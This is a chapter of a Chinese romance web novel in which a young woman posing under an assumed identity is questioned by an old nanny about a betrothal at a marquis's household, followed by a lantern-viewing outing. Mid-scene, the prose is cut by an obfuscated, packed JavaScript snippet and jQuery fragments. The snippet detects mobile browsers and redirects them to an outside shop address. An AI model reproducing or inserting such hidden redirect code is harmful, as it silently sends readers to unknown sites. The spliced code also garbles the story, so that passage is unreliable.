“嗳。”董嬷嬷忙去拉她的手,湿了眼眶,“林姑娘,咱们有多久没见了?”
蔺枳见她这般,心下万分疑惑。林芷的母亲虽非孟夫人的手帕交,亦做过三两年闺友,姚大娘子随夫君离开了成都府后,两人的联系便少了。孟夫人回西南探亲时,已断了往来,唯母亲与姚大娘子还保留着当年的情谊。
董嬷嬷怎会见过林芷呢……但孟夫人只回了那一次,按那年说准不会错。
“约六年了。”
董嬷嬷紧紧盯着她,又问:“你可还记得当年落水,是何人将你救上来的?”
落水?可孟夫人的院内并无水池,孟府花园虽有溪水,但至多没过脚腕,就算掉进去,亦无须人救。
蔺枳快速在脑海中思虑清楚,方才回道:“我当年并未落水,嬷嬷是不是记错了?”
董嬷嬷敲了敲自己的脑袋,“你瞧我这记性——当年落水的是大郎君,还是林姑娘救的他。那日夫人见了你,喜欢得不行,一口一个瓷娃娃,起初是想认作干女儿的。”
蔺枳心中又是一紧。这些皆是孟夫人当年的夸言,母亲时常在耳边与她念叨。而林芷幼时黢黑好动,被孩子们唤做“墨猴儿”,自大了方才好些。董嬷嬷其实亦不十分肯定她就是林芷,不然何故再三试探。
“小时候因长得黑,他们都叫我‘墨猴儿’,夫人那会儿是夸的蔺家妹妹罢?”
一旁听了许久的荀无栖忍不住笑出声来,被荣昌侯扫了一眼。
董嬷嬷长叹一口气,“真是年纪大了,许多事都记不清咯。不服老不行。”
蔺枳笑道:“嬷嬷不老,当年领蔺家妹妹去捅蜂窝时,那般矫健,我瞧如今也是一样的。”当年此事无人不晓,林芷若真入过孟府,定也知道。只是为何姚大娘子不曾与她说过?
荀无栖禁不住要插入她们的话来,“嬷嬷竟如此厉害,怎没领我这般玩过?”
董嬷嬷擦了眼泪,笑意更甚了,“促狭鬼!我瞧你也同从前那般,一张嘴让人又爱又恨。”
荣昌侯终于出声打断了她们的温情叙旧,让董嬷嬷将当年之事一五一十地尽数道来。蔺枳坐在董嬷嬷身边,听得一颗心是忽上忽下的。
六年前,孟夫人将侯爷设计的纹样带去了西南,寻到名噪一时的雷玉匠,打了四枚玉佩,给两名郎君与他们未来的夫人。彼时蔺家的娄大娘子与林家的姚大娘子前来探望,夫人听闻她们膝下皆有一女,纷纷叫来见了,心中甚是满意,又念及从前的闺阁情分,便想与两家都定下儿女亲。
荀无栖闻言坐不住了,一脸的难以置信,“给我也定了?!”
董嬷嬷极其肯定,荣昌侯又抛出一个问题。
“为何夫人从未提起与林家的亲事?”
董嬷嬷面色平静,慢声慢气道:“还请听老奴继续说。”
当年姚大娘子只匆匆到孟府瞧过一次,又借口家中走不开人,急忙回了。夫人起初怨她不顾旧情,不肯多留几日,后来得知她之所以着急赶回去,是要与郪县一人家退亲。
夫人对此全然不知,姚大娘子只字未提林芷原有婚约在身,如今攀了更好的亲事,就马不停蹄地毁约,姚大娘子恐也成了那趋炎附势之徒,日后保不齐还会因遇见更好的亲事,而毁侯府的约。玉佩虽给了出去,但这门亲事就此作罢。
蔺枳听到这里,所剩无几的从容全都消失了。温水煮青蛙,原来是这种感觉。刚将好似砒霜的糖含进嘴里,吃到甜味了,以为真的是糖,不想快吞下去才发现,其实就是砒霜。
斋内所有人都在看她,仿佛要将她看穿了。她宁愿跳回井底去,做只不见天日的蛙,也不愿被一层层剥开衣裳,羞愤而死。彼时她脑子乱作一团,压根不知要如何纠正董嬷嬷。
书案前的荣昌侯与荀无宸齐齐皱眉,坐在另一侧的荀无栖重重拍了拍大腿,愤懑非常,已经不肯再往蔺枳那儿瞧一眼。
“你们林家怎么这样啊!”
董嬷嬷忙道:“二郎君别急,老奴还没说完——”
“什么!还有更过分的?”荀无栖气不过,起身要走。
“坐下。”
荣昌侯喝了一声,荀无栖还是乖乖坐了回来,脸气得鼓鼓的,一个劲儿盯着蔺枳看。
董嬷嬷继续往下说。她被遣出府前,亦认为林家就是这样的人,直至三年前,她离开侯府后回了西南,兄长遭人诬蔑下狱,是林知县还了他公道,董嬷嬷这才与姚大娘子又见了一面,解开了当年的误会。
郪县有一乡霸,看中了年幼的林芷,想娶回家做娘子。彼时林芷方才十二,尚未及笄,林家一口回绝了这门亲事,乡霸却以为是要再等三年,听闻姚大娘子去探望孟夫人后,又以为林家是因攀上了侯府的高枝,看不起他而毁约,便在当地大肆宣扬林家失信,捏造莫须有的亲事扣在林家头上。
这些个地方认人不认官,区区从八品县令,如何能与盘踞当地几十年的人家比,林家只好吃下这个哑巴亏。
“好孩子,这些年你受苦了。”说到这儿,董嬷嬷握住蔺枳的手,两人皆眼含热泪。
短短一个时辰,就经历了捧到云端再狠狠摔下,又举到半空的大起大落,这泪她止不住啊。
蔺枳哭得不能自已,“不苦……”应该没有然后了罢?她真的受不住再一个“还没说完”了。
余下三人很长一段时间堪才缓过来,蔺枳已拿帕子拭了泪,静待荣昌侯的判决,荀无宸却率先开了口。
“依嬷嬷之言,应该有四枚玉佩,林姑娘有两枚,蔺家一枚,哪还有一枚去哪儿了?”
董嬷嬷抽了抽气儿,又道:“当年蔺姑娘想与大郎君认识,便拿了一枚玉佩说要亲手给你,大郎君没收到么?”
“未曾。”荀无宸并未见过蔺枳,又何来给玉佩一说?
蔺枳惊异道:“那荀大公子赠我那枚是……”
董嬷嬷急道:“哎哟!大郎君定是将二郎君的玉佩拿了去,阴差阳错送与了林姑娘,但为何蔺家姑娘没有将玉佩送到大郎君手上……”
如今也无从得知了。蔺家满门尽灭,还能问谁呢。
荣昌侯厘清了整件事的来龙去脉,再次确认道:“董嬷嬷的意思是,夫人与林家定的是无栖的婚事?”
“可不是吗!”董嬷嬷忆起往昔,少不了唉声叹气的,“先与蔺家定的大郎君的亲,后姚大娘子领着林姑娘来了,夫人才想着亦将二郎君的婚事定了。”
荀无栖眼下尚未理清好头绪,只明明白白地听见,与蔺枳有婚约的人竟是他!
当即一副天塌了的模样,跳起来叫道:“嬷嬷你害我!”
荀无宸钻着缝儿问:“为何林姑娘说是与我定了婚约?”
蔺枳一时哑然,因为她是编的,她想选谁自然就编谁了。不过董嬷嬷口中所言真假,她已然分不清。
若是真的,姚大娘子不可能不与她说;若不是,董嬷嬷为何要撒谎。其中缘由当下也不重要,重要的是董嬷嬷将她把谎圆起来了。
“当年夫人只说定亲,却未言明是大公子还是二公子。母亲以为我年纪较蔺家妹妹长两岁,理应同大公子定亲,而非少我两岁的二公子,故……”
董嬷嬷继续帮她扯道:“看来夫人当时真真糊涂了,弄出许多误会。误会虽解,夫人业已不在了。侯爷不认这门亲事亦是——”
“我不认这门亲事!我不会娶她的!”荀无栖朗声嚷嚷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274904|198192||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不行。
他心想,若此事敲定,明日就得八抬大轿将蔺枳娶进门,可他如今不想成亲,何况打一开始,她是与大哥定的亲。他只当她是刚认识不久的朋友,这如何能够!
“别叫了。”荣昌侯揉了揉额角,将所有人打发了,这门荒唐的亲事,他要一个人好好想一想。
蔺枳回紫芝院的路上,愈发觉得不对劲。当下那个情形,她竟然顺着董嬷嬷的话编了下去,可她本意是要嫁荀无宸的啊!
今岁秋闱过后,以他的学识,定能考个举人出来,明年再考个进士,侯府世子的位置就该给他了罢。荀无栖虽然亦是侯府嫡子,但一不上进考取功名,二无爵位继承,如何能与他兄长比?
真是越想越烦躁,她近乎一夜未眠,翌日怀着满肚子的心事,往众生堂去了。蔺枳平日到众生堂学医不会带浣云出门,但碍于近日总有人暗中作恶,不得不防着些。
下马车前,浣云塞给驾车小厮一把油伞,将蔺枳遮得密不透风。小厮正纳闷呢,一股熏人的臭味就直冲鼻腔而来,是粪水!
浣云忍着恶心丢了伞,蔺枳心如止水般走入众生堂。堂主见她一脸疲态,兀自奇怪,侯府的差事竟这么累人。
虽是这般,蔺枳今日看诊抓药亦毫不含糊,好到换了
个人似的,医术何止是更上一层楼,简直一跃百尺啊。许堂主在一旁偷偷觑了数次,心里十分欣慰。不仅师父教导有方,孺子亦可教也。
蔺枳走出众生堂的时候,已是薄暮。浣云早早在门外候着了,可身后却不是侯府的马车。
安祺身边的绿萼走上前来,道:“我们姑娘邀林姑娘去看水灯,已经与侯府请示过了,林姑娘请罢。”
蔺枳凑到浣云耳边低声道:“速回府请荀大公子来。”
浣云扶着她,很是不安,“方才安姑娘的人到侯府来将大公子叫走了,比我还先出府呢。姑娘是不知,门房的板儿那巴结的样儿,一口一个‘姐姐’叫得可亲热了。”
蔺枳睨了那丫鬟一眼,“板儿与她认识?”
“何止是认识,”浣云又将声音放低了些,“我瞧那股亲热劲儿,安姑娘从前没少来侯府。”
她总算是明白了,这板儿是上赶着向未来的世子夫人表忠心呢。如此说来,荀无宸不会不知道板儿与绿萼有这样的联系,那日他不痛不痒地将此事揭过,是打心底里不认她。
左右她亦未受任何伤害,只是丢了些面子,下人罚也罚了,她还能盼他做到何等地步呢?一个无故攀亲的乡下姑娘,一个世交的青梅竹马,荀无宸无论怎样都不会偏袒她的罢。
她若要与安祺争,现在的形势实在不利,何况昨夜董嬷嬷还将婚事拨给了荀无栖,这下倒好,胜算愈发渺茫了。
声声哀叹中,马车已将蔺枳拉到醉仙楼,依旧是前两日那群人,只不过今日谈珞瑛与安姝没来,且谢三与范七看她的眼神十分怪异。
所幸真的只是吃饭,随后一行人自景明坊缓步行至旧曹门看灯。
一路上游人络绎不绝,皆攒动着往河边去。范柯颖挽着安祺走在前边,三名男子走在后头,蔺枳与安祺保有一臂的距离,时不时应和两句她们的话,她更关心荀无宸他们在聊什么,因为她隐约听见了“林芷”的两个字。
谢三撇嘴摇头,很为荀无宸抱不平,“无宸你也太惨了罢?先是蔺家那个商户女,好不容易等到他家遭了难,婚约作不得数了,结果又跑出来一个林氏,九品芝麻官,被这样的人家粘上,那是甩都甩不掉。”
范七未察觉荀无宸的脸色已不大好,接着谢三的话道:“你可听说了?别看那林芷表面正经成这样,谁知私底下早与男人苟合,生了一野种了!”